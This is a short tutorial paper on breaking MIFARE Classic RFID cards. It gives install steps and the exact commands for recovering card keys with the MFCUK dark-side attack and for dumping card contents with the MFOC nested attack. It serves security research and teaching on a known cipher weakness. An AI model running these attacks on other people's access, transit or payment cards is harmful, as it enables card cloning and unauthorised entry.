HACKING MIFARE CLASSIC

Disclaimer: Please try this at home ☺

Kishan Gupta
kishan.gupta.10@ucl.ac.uk

This short paper is meant to get started to implement Dark-side Attack by Courtois and recover keys for MIFARE Classic cards. It will also get you started on implementing nested-authentication attack.

Install Ubuntu (on HD or just boot from the DVD):

http://www.ubuntu.com/download/ubuntu/download

LIBNFC:

LIBNFC is an open-source C library implementation for Near Field Communication (NFC) devices providing NFC Software Development Kit and Programmable API that can be used by RFID and NFC applications. The major purpose of LIBNFC library is to provide developers a way to work at higher level of abstraction with the NFC hardware. Various projects such as libfreefare (library for high level manipulation of MIFARE cards), pam_nfc (Pluggable Authentication Module - PAM allowing to authenticate using NFC), etc. are based on LIBNFC library. The attack libraries MFCUK and MFOC (described below) used in our security evaluation of MIFARE Classic, requires LIBNFC library. It currently depends on Winscard/PCSC-Lite and libusb library. It is released under GNU Lesser General Public License. Major operating system such as Linux, Mac 0SX and Windows are supported. With the availability of source code further tweaks should make it compile in other operating systems as well.

LIBNFC is a very useful tool for research on RFID protocols. Some of the important features of this library are: support for ISO 14443-A/B modulation, MIFARE Classic and Sony Felica protocol implementation, and ability to transform an USB-based NFC hardware device into a reader or tag. The full API releases can be downloaded from (Ver11a).

Install LIBNFC:

```
sudo apt-get install subversion
svn checkout http://libnfc.googlecode.com/svn/trunk/ libnfc-read-only
sudo apt-get install autoconf
sudo apt-get install libtool
sudo apt-get install libpcsclite-dev libusb-dev
cd libnfc-read-only
autoreconf -vis
./configure
make
sudo make install
nfc-list
```

If it gives error in linking library files do: sudo ldconfig and then nfc-list.

MFCUK:

MFCUK is an open-source C implementation of 'Dark Side attack (Cou09) by Courtois' coded by Andrei Costin. It uses LIBNFC and CRAPTO1 library to exploit MIFARE Classic CRYPTO1 weakness. The source code for this library can be downloaded from (Cos10). This attack has also been implemented in Proxmark firmware.

Unlike the Nested--authentication attack (MFOC), the 'Dark Side attack' can recover any/all keys even though any valid key is not known and the card does not use any default keys.

Install MFCUK-MiFare Classic Universal toolKit (this library implements dark-side attack):

svn checkout -r 47 http://mfcuk.googlecode.com/svn/trunk
cd mfcuk-read-only
autoreconf
automake
If an error occurs such as ./INSTALL not found, do
automake –add-missing
autoconf
./configure
make

Recovering a key using the MFCUK library:

cd src
./mfcuk_keyrecovery_darkside -C -R 0:A -v 2

MFOC:

MFOC is an open-source C implementation of 'Offline Nested-attack (GRVS09) by Nijmegan Oakland Group' and coded by Nethemba, an IT security company. It uses LIBNFC and CRAPTO1 library to recover the keys, provided at least one valid Key-A/Key-B of any sector is known, or if the card uses a default key. If a card uses at least one block encrypted with a default key, all the other keys can be extracted in minutes. If the card does not use default keys, one key for a sector can be retrieved using the MFCUK library, after which this library can be used.

Install MFOC - Mifare Classic Offline Cracker –

http://code.google.com/p/nfc-tools/downloads/detail?name=mfoc-0.10.2.tar.gz
tar -xzvf mfoc-0.10.2.tar.gz
cd mfoc-0.10.2
autoreconf -vis
./configure
sudo make
./mfoc -O card_dump

Now the hex dump can be viewed using **vi:**
vi card_dump
:%!xxd to switch into hex mode
:%!xxd -r to exit from hex mode.
:q!<Return>

REFERENCES

[Ver11a] Roel Verdult. libnfc.org- Public platform independent Near Field Communication (NFC) library.http://www.libnfc.org, July 2011.

[Cou09] Nicolas T. Courtois. THE DARK SIDE OF SECURITY BY OBSCURITY and Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime. Cryptology ePrint Archive, 2009.

[Cos10] Andrei Costin. MFCUK-MiFare Classic Universal toolKit. http://code.google.com/p/mfcuk/, March 2010

[GRVS09] Flavio D. Garcia, Peter Rossum, Roel Verdult, and Ronny Wichers Schreur. Wirelessly Pickpocketing a Mifare Classic Card. In IEEE Symposium on Security and Privacy, IEEE, 2009